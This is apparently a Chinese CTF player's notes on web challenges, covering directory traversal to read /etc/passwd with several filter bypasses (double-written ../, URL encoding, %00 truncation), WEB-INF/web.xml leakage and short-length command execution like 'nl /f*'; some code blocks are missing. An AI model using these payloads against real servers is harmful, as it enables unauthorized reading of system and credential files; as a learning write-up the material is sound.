比赛中web知识点总结
SQCTF
关于相对路径的绕过->目录遍历漏洞(Through)
原理
某些使用不当参数包含的使用导致能都读取服务器上任意文件
比如在网页html
中使用<img src="/image?filename=1.png">
来加载image
下的1.png
文件
当攻击者读取任意文件可以使用filename=../../../../../etc/passwd
时就成为
/var/www/images/../../../../../etc/passwd |
在
Linux
中,../
表示返回上级目录;在Windows
中,../和..\
都表示返回上级目录在根目录使用
../
只会返回当前页面
攻击方法
如下题,那么file
参数就可能有目录遍历的风险
|
file=../../../../etc/passwd |
有些时候会对参数进行检测,比如过滤../等,那么这个时候我们可以尝试绝对路径
file=etc/passwd |
如果只是将../
替换为空,那么可以使用双写绕过。(SQCTF-Through)
file=....//....//....//....//etc/passwd |
有些时候也可以通过url编码来绕过服务器对.
或者/
的检测
. => %2e
/ => %2f
% => %25 (双重URL编码)
file=..%2f..%2f..%2f..%2fetc%2fpasswd |
有些时候会对参数进行判断是否为一个固定开头
file=/var/www/image/../../../../etc/passwd |
如果对文件后缀名进行限制,利用%00截断
file=../../../../etc/passwd%00.jpg |
如果只是对连续的../
进行过滤,那么就可以用./../
来进行绕过。(eg.2025XYCTF-Signin)
./
表示当前目录,添加进去不会造成任何影响
file=./.././.././.././../etc/passwd |
常见有用路径
/proc/self/environ
当前进程的环境变量/var/www/html
默认的 Web 根目录/etc/passwd
存储用户账户的基本信息
获得源码方法(eeaassyy)
在很多时候,如果源码中有泄露的信息,都会将常见读源码的方式禁用了,那么就来系统整理一下读取方法
F12
ctrl+u
右键查看源代码
在url前输入
view-source:
两下F12强制进入开发者模式
命令行中用
curl
或wget
获得网页源码,比如curl http://xxx.comm
抓包看返回包
扫目录发现源码备份等,比如
www.zip,index.phps,index.php.bak
等
pop反序列化(嘿嘿嘿)
pop反序列化一直我不怎么会,那就重新详解一下这道题
|
其实最后只需要限制content
的内容就可以输出最后flag
了,即只需要关注最后一个if
条件中的echo
即可
|
1pop反序列化字符逃逸(逃)
这个知识点虽然在之前的文章写过了,但是还是一知半解的,等找到题目源码之后再次总结
WEB-INF/web.xml泄露漏洞(File_download)
原理
WEB-INF主要包含以下内容:
/WEB-INF/web.xml
:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/
:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。/WEB-INF/lib/
:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/
:源码目录,按照包名结构放置各个java文件。/WEB-INF/database.properties
:数据库配置文件。
那么,在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。
攻击方法
以这个题为例,在扫目录发现WEB-INF
目录后就可以通过里面的/WEB-INF/web.xml
找到配置文件,进而找到可能的含有flag
的文件进行下一步分析
限制长度下的命令执行(RceMe)
这个题限制了不能超过6个字符,如果是cat /f*
刚好超过,那这时就可以通过nl
这个编号并返回的命令来直接读取根目录下全部文件,则有了nl /f*
这里可以本地进行尝试,首先在根目录下新建一个flag.txt
尝试进行nl /f*
,可以看到只读取了flag
的文件内容,而对于其他目录,nl
是不能读取的
无参RCE(无参之舞)
这里最后还是使用了十六进制编码绕过,但是还是应该系统学一下无参RCE了,觉得比较重要就写到了命令执行里面,参考web入门-命令执行(已完结) | Yxing
五字符rce(RceMe)
在比赛中直接一个nl /*
就打出来了,但是赛后看wp发现还有其他姿势,那就来学习一下
觉得重要就写到命令执行里面了,参考web入门-命令执行(已完结) | Yxing